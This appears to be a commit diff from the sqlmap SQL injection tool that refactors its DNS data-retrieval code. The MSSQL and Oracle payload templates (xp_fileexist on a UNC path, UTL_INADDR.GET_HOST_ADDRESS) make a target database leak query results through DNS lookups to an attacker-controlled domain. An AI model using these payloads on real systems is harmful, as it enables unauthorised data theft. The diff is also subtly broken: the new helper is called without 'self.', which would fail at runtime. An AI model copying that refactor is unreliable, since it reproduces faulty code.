minor update regarding DNS data retrieval task

lib/core/agent.py

@@ -244,8 +244,28 @@ class Agent:
         return payload
 
     def getComment(self, request):
+        """
+        Returns comment form for the given request
+        """
+
         return request.comment if "comment" in request else ""
 
+    def hexConvertField(self, field):
+        """
+        Returns hex converted field string
+        """
+
+        rootQuery = queries[Backend.getIdentifiedDbms()]
+        hexField = field
+
+        if 'hex' in rootQuery:
+            hexField = rootQuery.hex.query % field
+        else:
+            warnMsg = "switch '--hex' is currently not supported on DBMS '%s'. " % Backend.getIdentifiedDbms()
+            singleTimeWarnMessage(warnMsg)
+
+        return hexField
+
     def nullAndCastField(self, field):
         """
         Take in input a field string and return its processed nulled and
@@ -288,14 +308,7 @@ class Agent:
                 nulledCastedField = rootQuery.isnull.query % nulledCastedField
 
         if conf.hexConvert:
-            if 'hex' in rootQuery:
+            nulledCastedField = hexConvertField(nulledCastedField)
-                nulledCastedField = rootQuery.hex.query % nulledCastedField
-            else:
-                warnMsg = "switch '--hex' is currently not supported on DBMS '%s'. " % Backend.getIdentifiedDbms()
-                warnMsg += "Going to switch it off"
-                singleTimeWarnMessage(warnMsg)
-
-                conf.hexConvert = False
 
         return nulledCastedField
 

lib/core/common.py

@@ -1608,7 +1608,7 @@ def getSPLSnippet(dbms, name, **variables):
     checkFile(filename)
     retVal = readCachedFileContent(filename)
 
-    retVal = re.sub(r"#.+", "", retVal)
+    retVal = re.sub(r"#.+", "", retVal).strip()
 
     for _ in variables.keys():
         retVal = re.sub(r"%%%s%%" % _, variables[_], retVal)

lib/request/dns.py

@@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission
 """
 
 import os
+import re
 import socket
 import threading
 import time
@@ -63,6 +64,16 @@ class DNSServer:
                 retVal = self._requests.pop(0)
         return retVal
 
+    def pop(self, prefix, suffix):
+        retVal = None
+        with self._lock:
+            for _ in self._requests:
+                if re.search("%s\..+\.%s" % (prefix, suffix), _, re.I):
+                    retVal = _
+                    self._requests.remove(_)
+                    break
+        return retVal
+
     def run(self):
         def _():
             try:

procs/mssqlserver/dns_request.txt

@@ -1,3 +1,3 @@
 DECLARE @host varchar(1024);
-SELECT @host = '%PREFIX%' + (%QUERY%) + '%SUFFIX%' + '.%DOMAIN%';
+SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%';
 EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');

procs/oracle/dns_request.txt

@@ -1 +1 @@
-SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%'||(%QUERY%)||'%SUFFIX%'||'.%DOMAIN%') FROM DUAL
+SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%'||'.%DOMAIN%') FROM DUAL